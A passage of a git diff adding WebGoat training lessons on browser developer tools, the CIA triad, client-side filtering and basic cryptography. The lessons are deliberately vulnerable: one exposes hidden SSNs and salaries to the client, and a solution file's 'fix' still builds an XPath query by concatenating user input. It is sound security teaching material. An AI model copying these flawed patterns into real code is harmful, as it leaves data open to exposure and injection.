Chrome. +You can, however still use the browser of your choice, like Firefox or Safari, although some steps of this tutorial +maybe different for you. + +Keep in mind that the following tutorial is not there to teach everything about these tools. +This tutorial will only focus on the essential knowledge to complete specific assignments. +Also, if you are already familiar with these tools, you can safely skip these lessons. + +To get started: *open the developer tools*. There are multiple ways to open them: + +1. Right-click anywhere in the browser window and select the option _"Inspect"_. +2. Go to the browser menu (three dots in the top right corner), then go to _"More tools"_ and select the option _"Developer tools"_. +3. Use the keyboard shortcut _Ctrl + Shift + I_ diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc new file mode 100644 index 000000000..8bd4314bd --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc @@ -0,0 +1,16 @@ +== The Sources tab + +In the sources tab, you can check out the file system and view all the HTML, CSS, and JavaScript files used to +create the website. Click on a file to view its contents. + +image::images/ChromeDev_Sources.jpg[DeveloperToolsSources,400,500,style="lesson-image"] + +== The Network tab + +In the Network tab, you can view HTTP requests and responses the website has performed. +Just click on it if you want more detailed information on a particular request. +The "Timeline" above the blue dots represents when these requests and responses have been performed. +You can also see the Requests done in a specific time frame simply by clicking and dragging on the timeline. The window +below will only show the requests and responses done in that time frame. + +image::images/ChromeDev_Network.jpg[DeveloperToolsNetwork,400,500,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html new file mode 100644 index 000000000..c83603964 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html @@ -0,0 +1,85 @@ + + + + + +
+
+
+ + +
+
+
+ + +
+
+
+ + +
+
+
+
+
+ + +
+
+
+
+
+ + +
+
+
+ + +
+
+
+
+
+ + + + + + + + +
Click this button to make a request:
+
+ +
+ + + + + + + +
What is the number you found:
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties b/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..792ad7bbf --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties @@ -0,0 +1,11 @@ +3.chrome-dev-tools.title=Developer Tools + +xss-dom-message-success=Correct! +xss-dom-message-failure=Incorrect. + +network.request=You made a HTTP Request. +network.success=Correct, Well Done. +network.failed=That is not correct, try again. + +networkHint1=Clear all Requests from the network button, then make the request. The you should be able to figure out, which request holds the data. +networkHint2=The name of the request is "dummy" diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg new file mode 100644 index 000000000..d0018cd6b Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg new file mode 100644 index 000000000..ed292b116 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg new file mode 100644 index 000000000..2613837e5 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg new file mode 100644 index 000000000..867a5769c Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg new file mode 100644 index 000000000..44a916d20 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg differ diff --git a/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg new file mode 100644 index 000000000..8d09b87b0 Binary files /dev/null and b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg differ diff --git a/src/main/resources/lessons/cia/documentation/CIA_availability.adoc b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc new file mode 100644 index 000000000..041c344d3 --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc @@ -0,0 +1,24 @@ +== Availability + +Availability is "the property of being accessible and usable on demand by an authorized entity." In other words, authorized persons should have access to permitted resources at all times. + +{nbsp} + + +=== Examples that compromise availability: + +** denial-of-service attacks (DOS) +** hardware failures +** fire or other natural disasters +** software or network misconfigurations + +{nbsp} + + +=== Examples of methods ensuring availability + +** intrusion detection systems (IDSs) +** network traffic control +** firewalls +** physical security of hardware and underlying infrastructure +*** protection against fire, water, and other elements +** hardware maintenance +** redundancy diff --git a/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc new file mode 100644 index 000000000..9045d4d5e --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc @@ -0,0 +1,25 @@ +== Confidentiality + +Confidentiality is "the property that information is not made available or disclosed to unauthorized individuals, entities, or processes." In other words, confidentiality requires that unauthorized users should not be able to access sensitive resources. Confidentiality must be balanced with availability; authorized persons must still access the resources they have been granted permissions for. + +Although confidentiality is similar to "privacy," these two words are not interchangeable. Instead, confidentiality is a component of privacy; confidentiality is implemented to protect resources from unauthorized entities. + +{nbsp} + + +=== Examples that compromise confidentiality: + +** a hacker gets access to the password database of a company +** a sensitive email is sent to the incorrect individual +** a hacker reads sensitive information by intercepting and eavesdropping on an information transfer + +{nbsp} + + +=== Examples of methods ensuring confidentiality + +** data encryption +** properly implemented authentication and access control +*** securely stored passwords +*** multi-factor authentication (MFA) +*** biometric verification +** minimizing the number of places/times the information appears +** physical security controls such as properly secured server rooms diff --git a/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc new file mode 100644 index 000000000..cddf63cfc --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc @@ -0,0 +1,21 @@ +== Integrity + +Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy, and trustworthiness of data over its entire life cycle. Data must not change during transit, and unauthorized entities should not alter the data. + +{nbsp} + + +=== Examples that compromise integrity: + +** human error when entering data +** errors during data transmission +** software bugs and hardware failures +** hackers change information that they should not have access to + +{nbsp} + + +=== Examples of methods ensuring the integrity + +** well functioning authentication methods and access control +** checking integrity with hash functions +** backups and redundancy +** auditing and logging diff --git a/src/main/resources/lessons/cia/documentation/CIA_intro.adoc b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc new file mode 100644 index 000000000..8804d73bd --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc @@ -0,0 +1,7 @@ +== The CIA Triad + +The CIA Triad (confidentiality, integrity, availability) is a model for information security. +The three elements of the triad are considered the most crucial information security components and should guarantee in any secure system. + +Serious consequences can result if even one of these elements is breached. + +The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. diff --git a/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc new file mode 100644 index 000000000..90be99409 --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc @@ -0,0 +1,3 @@ +Now it's time for a quiz! Answer the following question to check if you understood the topic. + +Today, most systems are protected by a firewall. A properly configured firewall can prevent malicious entities from accessing a system and helps protect an organization's resources. For this quiz, imagine a system that handles personal data but is not protected by a firewall: diff --git a/src/main/resources/lessons/cia/html/CIA.html b/src/main/resources/lessons/cia/html/CIA.html new file mode 100644 index 000000000..219ce0e08 --- /dev/null +++ b/src/main/resources/lessons/cia/html/CIA.html @@ -0,0 +1,43 @@ + + + + +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+ + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
+ + diff --git a/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..8260cf034 --- /dev/null +++ b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties @@ -0,0 +1 @@ +4.cia.title=CIA Triad diff --git a/src/main/resources/lessons/cia/js/questions_cia.json b/src/main/resources/lessons/cia/js/questions_cia.json new file mode 100644 index 000000000..caadbab70 --- /dev/null +++ b/src/main/resources/lessons/cia/js/questions_cia.json @@ -0,0 +1,40 @@ +{ + "questions": [ + { + "text": "How could an intruder harm the security goal of confidentiality?", + "solutions": { + "1": "By deleting all the databases.", + "2": "By stealing a database where general configuration information for the system is stored.", + "3": "By stealing a database where names and emails are stored and uploading it to a website.", + "4": "Confidentiality can't be harmed by an intruder." + } + }, + { + "text": "How could an intruder harm the security goal of integrity?", + "solutions": { + "1": "By changing the names and emails of one or more users stored in a database.", + "2": "By listening to incoming and outgoing network traffic.", + "3": "By bypassing the access control mechanisms used to manage database access.", + "4": "Integrity can only be harmed when the intruder has physical access to the database." + } + }, + { + "text": "How could an intruder harm the security goal of availability?", + "solutions": { + "1": "By exploiting a software bug that allows the attacker to bypass the normal authentication mechanisms for a database.", + "2": "By redirecting sensitive emails to other individuals.", + "3": "Availability can only be harmed by unplugging the power supply of the storage devices.", + "4": "By launching a denial of service attack on the servers." + } + }, + { + "text": "What happens if at least one of the CIA security goals is harmed?", + "solutions": { + "1": "All three goals must be harmed for the system's security to be compromised; harming just one goal has no effect on the system's security.", + "2": "The system's security is compromised even if only one goal is harmed.", + "3": "It is acceptable if an attacker reads or changes data since at least some of the data is still available. The system's security is compromised only if its availability is harmed.", + "4": "It is acceptable if an attacker changes data or makes it unavailable, but reading sensitive data is not tolerable. The system's security is compromised only if its confidentiality is harmed." + } + } + ] +} \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css new file mode 100644 index 000000000..ecb2d6e76 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css @@ -0,0 +1,3 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(../images/lesson1_header.jpg); width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(../images/lesson1_workspace.jpg); width: 490px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css new file mode 100644 index 000000000..038ee6d9d --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css @@ -0,0 +1,33 @@ +ul > li{margin-right:25px;font-weight:lighter;cursor:pointer} +li.active{border-bottom:3px solid silver;} + +.item-photo{display:flex;justify-content:center;align-items:center;border-right:1px solid #f6f6f6;} +.menu-items{list-style-type:none;font-size:11px;display:inline-flex;margin-bottom:0px;margin-top:20px} +.btn-success{width:100%;border-radius:0px;} +.section{width:100%;margin-left:-15px;padding:2px;padding-left:15px;padding-right:15px;background:#f8f9f9} +.title-price{margin-top:30px;margin-bottom:0px;color:black} +.title-attr{margin-top:0px;margin-bottom:0px;color:black;} +.btn-minus{cursor:pointer;font-size:7px;display:flex;align-items:center;padding:5px;padding-left:10px;padding-right:10px;border:1px solid gray;border-radius:2px;border-right:0px;} +.btn-plus{cursor:pointer;font-size:7px;display:flex;align-items:center;padding:5px;padding-left:10px;padding-right:10px;border:1px solid gray;border-radius:2px;border-left:0px;} +div.section > div {width:100%;display:inline-flex;} +div.section > div > input {margin:0px;padding-left:5px;font-size:10px;padding-right:5px;max-width:18%;text-align:center;} +.attr,.attr2{cursor:pointer;margin-right:5px;height:20px;font-size:11px;padding:2px;border:1px solid gray;border-radius:2px;} +.attr.active,.attr2.active{ border:2px solid orange;} + +@media (max-width: 426px) { + .container {margin-top:0px !important;} + .container > .row{padding:0px !important;} + .container > .row > .col-xs-12.col-sm-5{ + padding-right:0px ; + } + .container > .row > .col-xs-12.col-sm-9 > div > p{ + padding-left:0px !important; + padding-right:0px !important; + } + .container > .row > .col-xs-12.col-sm-9 > div > ul{ + padding-left:10px !important; + + } + .section{width:104%;} + .menu-items{padding-left:0px;} +} \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc new file mode 100644 index 000000000..dfb254dad --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc @@ -0,0 +1,5 @@ +== Salary manager + +You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, +except the CEO, Neville Bartholomew. Or at least you should not have access to the CEO's information. For this assignment, +examine the page's contents to see what extra information you can find. diff --git a/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc new file mode 100644 index 000000000..5a1e072f2 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc @@ -0,0 +1 @@ +No need to pay if you know the code ... \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc new file mode 100644 index 000000000..ed118faf9 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc @@ -0,0 +1,6 @@ +== Client side filtering + +It is always a good practice to send only information to the client they are supposed +to have access to. In this lesson, too much information is being sent to the client, creating +a serious access control problem. For this exercise, your mission is to exploit the extraneous information returned +by the server to discover information to which you should not have access. diff --git a/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html new file mode 100644 index 000000000..18d965c66 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html @@ -0,0 +1,169 @@ + + + +
+
+
+
+
+ +
+ +
+
+ + +
+ + + +
+
+


+

Select user:

+

+ +
+
+ + + + + + + + + + + + +
User IDFirst NameLast NameSSNSalary
+
+
+ + + + + + + + +
What is Neville Bartholomew's salary?
+
+ +
+
+ +
+
+
+
+ + +
+
+ +
+
+ + +
+ +
+ +
+
+

Samsung Galaxy S8

+
Samsung · + (124421 reviews) +
+ +
+ PRICE +
+

US $899

+ +
+
+ COLOR +
+
+
+
+
+
+
+
+ CAPACITY +
+
+
64 GB
+
128 GB
+
+
+
+
+ QUANTITY +
+
+
+ +
+
+
+ +
+
+ CHECKOUT CODE +
+ + + +
+ +
+ +
+ Like
+
+
+
+ +
+
+
+
+
+
+
+
+ + + + + diff --git a/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties b/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..08ea3c790 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties @@ -0,0 +1,32 @@ +client.side.filtering.title=Client side filtering +ClientSideFilteringSelectUser=Select user: +ClientSideFilteringUserID=User ID +ClientSideFilteringFirstName=First Name +ClientSideFilteringLastName=Last Name +ClientSideFilteringSSN=SSN +ClientSideFilteringSalary=Salary +ClientSideFilteringErrorGenerating=Error generating +ClientSideFilteringStage1Complete=Stage 1 completed. +ClientSideFilteringStage1Question=What is Neville Bartholomew's salary? +ClientSideFilteringStage1SubmitAnswer=Submit Answer +ClientSideFilteringStage2Finish=Click here when you believe you have completed the lesson. +ClientSideFilteringChoose=Choose employee +ClientSideFilteringHint1=The information displayed when an employee is chosen from the drop down menu is stored on the client side. +ClientSideFilteringHint2=Use Firebug to find where the information is stored on the client side. +ClientSideFilteringHint3=Examine the hidden table to see if there is anyone listed who is not in the drop down menu. +ClientSideFilteringHint4=Look in the last row of the hidden table. +ClientSideFilteringHint5a=Stage 1: You can access the server directly +ClientSideFilteringHint5b=here +ClientSideFilteringHint5c=to see what results are being returned +ClientSideFilteringHint6=Stage 2: The server uses an XPath query against an XML database. +ClientSideFilteringHint7=Stage 2: The query currently returns all of the contents of the database. +ClientSideFilteringHint8=Stage 2: The query should only return the information of employees who are managed by Moe Stooge, whose userID is 102 +ClientSideFilteringHint9=Stage 2: Try using a filter operator. +ClientSideFilteringHint10=Stage 2: Your filter operator should look something like: [Managers/Manager/text()= +ClientSideFilteringInstructions1=STAGE 1: You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, . Or at least you shouldn't have access to the CEO's information. For this exercise, examine the contents of the page to see what extra information you can find. +ClientSideFilteringInstructions2=STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed to see. +ClientSideFiltering.incorrect=This is not the salary from Neville Bartholomew... + +client.side.filtering.free.hint1=Look through the web page inspect the sources etc +client.side.filtering.free.hint2=Try to see the flow of request from the page to the backend +client.side.filtering.free.hint3=One of the responses contains the answer diff --git a/src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg new file mode 100644 index 000000000..60a809af0 Binary files /dev/null and b/src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg differ diff --git a/src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg new file mode 100644 index 000000000..292d25654 Binary files /dev/null and b/src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg differ diff --git a/src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg new file mode 100644 index 000000000..7b0c1f809 Binary files /dev/null and b/src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg differ diff --git a/src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg new file mode 100644 index 000000000..2dd9ea557 Binary files /dev/null and b/src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg differ diff --git a/src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js new file mode 100644 index 000000000..79694e532 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js @@ -0,0 +1,42 @@ +var dataFetched = false; + +function selectUser() { + + var newEmployeeID = $("#UserSelect").val(); + document.getElementById("employeeRecord").innerHTML = document.getElementById(newEmployeeID).innerHTML; +} + +function fetchUserData() { + if (!dataFetched) { + dataFetched = true; + ajaxFunction(document.getElementById("userID").value); + } +} + +function ajaxFunction(userId) { + $.get("clientSideFiltering/salaries?userId=" + userId, function (result, status) { + var html = "'; + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + + for (var i = 0; i < result.length; i++) { + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + html = html + ''; + } + html = html + '
UserIDFirst NameLast NameSSNSalary
' + result[i].UserID + '' + result[i].FirstName + '' + result[i].LastName + '' + result[i].SSN + '' + result[i].Salary + '
'; + + var newdiv = document.createElement("div"); + newdiv.innerHTML = html; + var container = document.getElementById("hiddenEmployeeRecords"); + container.appendChild(newdiv); + }); +} \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js new file mode 100644 index 000000000..5ea768875 --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js @@ -0,0 +1,64 @@ +$(document).ready(function () { + //-- Click on detail + $("ul.menu-items > li").on("click", function () { + $("ul.menu-items > li").removeClass("active"); + $(this).addClass("active"); + }) + + $(".attr,.attr2").on("click", function () { + var clase = $(this).attr("class"); + + $("." + clase).removeClass("active"); + $(this).addClass("active"); + }) + + //-- Click on QUANTITY + $(".btn-minus").on("click", function () { + var now = $(".quantity").val(); + if ($.isNumeric(now)) { + if (parseInt(now) - 1 > 0) { + now--; + } + $(".quantity").val(now); + $('#price').text(now * 899); + } else { + $(".quantity").val("1"); + $('#price').text(899); + } + calculate(); + }) + $(".btn-plus").on("click", function () { + var now = $(".quantity").val(); + if ($.isNumeric(now)) { + $(".quantity").val(parseInt(now) + 1); + } else { + $(".quantity").val("1"); + } + calculate(); + }) + $(".checkoutCode").on("blur", function () { + var checkoutCode = $(".checkoutCode").val(); + $.get("clientSideFiltering/challenge-store/coupons/" + checkoutCode, function (result, status) { + var discount = result.discount; + if (discount > 0) { + $('#discount').text(discount); + calculate(); + } else { + $('#discount').text(0); + calculate(); + } + }); + }) + + function calculate() { + var d = $('#discount').text(); + var price = $('#price').val(); + var quantity = parseInt($(".quantity").val()); + if (d > 0) { + $('#price').text((quantity * (899 - (899 * d / 100))).toFixed(2)); + + } else { + $('#price').text(quantity * 899); + } + } +}) \ No newline at end of file diff --git a/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html new file mode 100644 index 000000000..3dc36ab2d --- /dev/null +++ b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html @@ -0,0 +1,84 @@ + + + + +Client Side Filtering + + + +

Lesson Plan Title: Client Side Filtering

+ +

Concept / Topic To Teach:
+It is always a good practice to send to the client +only information which they are supposed to have access to. +In this lesson, too much information is being sent to the +client, creating a serious access control problem. +

+ +

General Goal(s):
+For this exercise, your mission is exploit the extraneous +information being returned by the server to discover information +to which you should not have access. +

+ +Solution:
+

+This Lab consists of two Stages. In the first Stage you have to +get sensitive information . In the second one you have to fix the problem.
+

+Stage 1 +

+Use Firebug to solve this stage. If you are using IE you can try it with +IEWatch.

+ +First use any person from the list and see what you get. After doing this you +can search for a specific person in Firebug. Make sure you find the hidden table with +the information, including the salary and so on. In the same table you will find +Neville. + +Clientside Filtering
+Inspect HTML on Firebug + +

+Now write the salary into the text edit box and submit your answer! +

+Stage 2 +

+In this stage you have to modify the clientSideFiltering.jsp which you will find under +the WebContent in the lessons/Ajax folder. The Problem is that +the server sends all information to the client. As you could see +even if it is hidden it is easy to find the sensitive date. In this +stage you will add a filter to the XPath queries. In this file you will find +following construct:

+ + StringBuilder sb = new StringBuilder();
+ + sb.append("/Employees/Employee/UserID | ");
+ sb.append("/Employees/Employee/FirstName | ");
+ sb.append("/Employees/Employee/LastName | ");
+ sb.append("/Employees/Employee/SSN | ");
+ sb.append("/Employees/Employee/Salary ");
+ + String expression = sb.toString();
+
+

+This string will be used for the XPath query. You have to guarantee that a manger only +can see employees which are working for him. To archive this you can use +filters in XPath. Following code will exactly do this:

+ + StringBuilder sb = new StringBuilder();
+ + sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | ");
+ sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | ");
+ sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/LastName | ");
+ sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/SSN | ");
+ sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/Salary ");
+ + String expression = sb.toString();
+
+

+Now only information is sent to your client you are authorized for. You can click on the button. +

+ + + diff --git a/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg new file mode 100644 index 000000000..e51a40ad0 Binary files /dev/null and b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg differ diff --git a/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc new file mode 100644 index 000000000..39ce0b5c0 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc @@ -0,0 +1,35 @@ += Cryptography Basics + +== Concept + +ifeval::["{lang}" == "nl"] +Deze les behandelt verschillende cryptografische technieken die voorkomen in webapplicaties. +endif::[] + +ifeval::["{lang}" != "nl"] +This lesson explains different types of cryptography techniques that are commonly used in web applications. +endif::[] + +== Goals + +The goal is to get familiar with the following forms of techniques: + +* link:start.mvc#lesson/Crypto.lesson/1[Encoding] + +* link:start.mvc#lesson/Crypto.lesson/3[Hashing] + +* link:start.mvc#lesson/Crypto.lesson/4[Encryption] + +* link:start.mvc#lesson/Crypto.lesson/5[Signing] + +* link:start.mvc#lesson/Crypto.lesson/6[Keystores] + +* link:start.mvc#lesson/Crypto.lesson/7[Security defaults] + +* link:start.mvc#lesson/Crypto.lesson/8[Post quantum crypto] + +=== Assignments + +After the explanation of an item there will be several assignments. + + diff --git a/src/main/resources/lessons/cryptography/documentation/defaults.adoc b/src/main/resources/lessons/cryptography/documentation/defaults.adoc new file mode 100644 index 000000000..c6391aaac --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/defaults.adoc @@ -0,0 +1,33 @@ += Security defaults + +A big problem in all kinds of systems is the use of default configurations. +E.g. default username/passwords in routers, default passwords for keystores, default unencrypted mode, etc. + +== Java cacerts + +Did you ever *_changeit_*? Putting a password on the cacerts file has some implications. It is important when the trusted certificate authorities need to be protected and an unknown self signed certificate authority cannot be added too easily. + +== Protecting your id_rsa private key + +Are you using an ssh key for GitHub and or other sites and are you leaving it unencrypted on your disk? Or even on your cloud drive? By default, the generation of an ssh key pair leaves the private key unencrypted. Which makes it easy to use and if stored in a place where only you can go, it offers sufficient protection. However, it is better to encrypt the key. When you want to use the key, you would have to provide the password again. + +== SSH username/password to your server + +When you are getting a virtual server from some hosting provider, there are usually a lot of not so secure defaults. One of which is that ssh to the server runs on the default port 22 and allows username/password attempts. One of the first things you should do, is to change the configuration that you cannot ssh as user root, and you cannot ssh using username/password, but only with a valid and strong ssh key. If not, then you will notice continuous brute force attempts to login to your server. + + +== Assignment + +In this exercise you need to retrieve a secret that has accidentally been left inside a docker container image. With this secret, you can decrypt the following message: *U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=*. +You can decrypt the message by logging in to the running container (docker exec ...) and getting access to the password file located in /root. Then use the openssl command inside the container (for portability issues in openssl on Windows/Mac/Linux) +You can find the secret in the following docker image, which you can start as: + + docker run -d webgoat/assignments:findthesecret + +[source] +---- +echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile .... +---- + + + diff --git a/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc new file mode 100644 index 000000000..a606f3853 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc @@ -0,0 +1,26 @@ += Cryptography Basics + +== Base64 Encoding + +Encoding is not really cryptography, but it is used a lot in all kinds of standards around cryptographic functions. Especially Base64 encoding. + +Base64 encoding is a technique used to transform all kinds of bytes to a specific range of bytes. This specific range is the ASCII readable bytes. +This way you can transfer binary data such as secret or private keys more easily. You could even print these out or write them down. +Encoding is also reversible. So if you have the encoded version, you can create the original version. + +On wikipedia you can find more details. Basically it goes through all the bytes and transforms each set of 6 bits into a readable byte (8 bits). The result is that the size of the encoded bytes is increased with about 33%. + + Hello ==> SGVsbG8= + 0x4d 0x61 ==> TWE= + +=== Basic Authentication + +Basic authentication is sometimes used by web applications. This uses base64 encoding. Therefore, it is important to at least use Transport Layer Security (TLS or more commonly known as https) to protect others from reading the username password that is sent to the server. + + $echo -n "myuser:mypassword" | base64 + bXl1c2VyOm15cGFzc3dvcmQ= + +The HTTP header will look like: + + Authorization: Basic bXl1c2VyOm15cGFzc3dvcmQ= + diff --git a/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc new file mode 100644 index 000000000..e31387d35 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc @@ -0,0 +1,25 @@ += Cryptography Basics + +== Other Encoding + +Also other encodings are used. + +=== URL encoding + +URL encoding is used a lot when sending form data and request parameters to the server. Since spaces are not allowed in a URL, this is then replaced by %20. Similar replacements are made for other characters. + +=== HTML encoding + +HTML encoding ensures that text is displayed as-is in the browser and not interpreted by the browser as HTML. + +=== UUEncode + +The Unix-2-Unix encoding has been used to send email attachments. + +=== XOR encoding + +Sometimes encoding is used as a first and simple obfuscation technique for storing passwords. IBM WebSphere Application Server e.g. uses a specific implementation of XOR encoding to store passwords in configuration files. IBM recommends to protect access to these files and to replace the default XOR encoding by your own custom encryption. However when these recommendations are not followed, these defaults can become a vulnerability. + +== Assignment + +Now let's see if you are able to find out the original password from this default XOR encoded string. diff --git 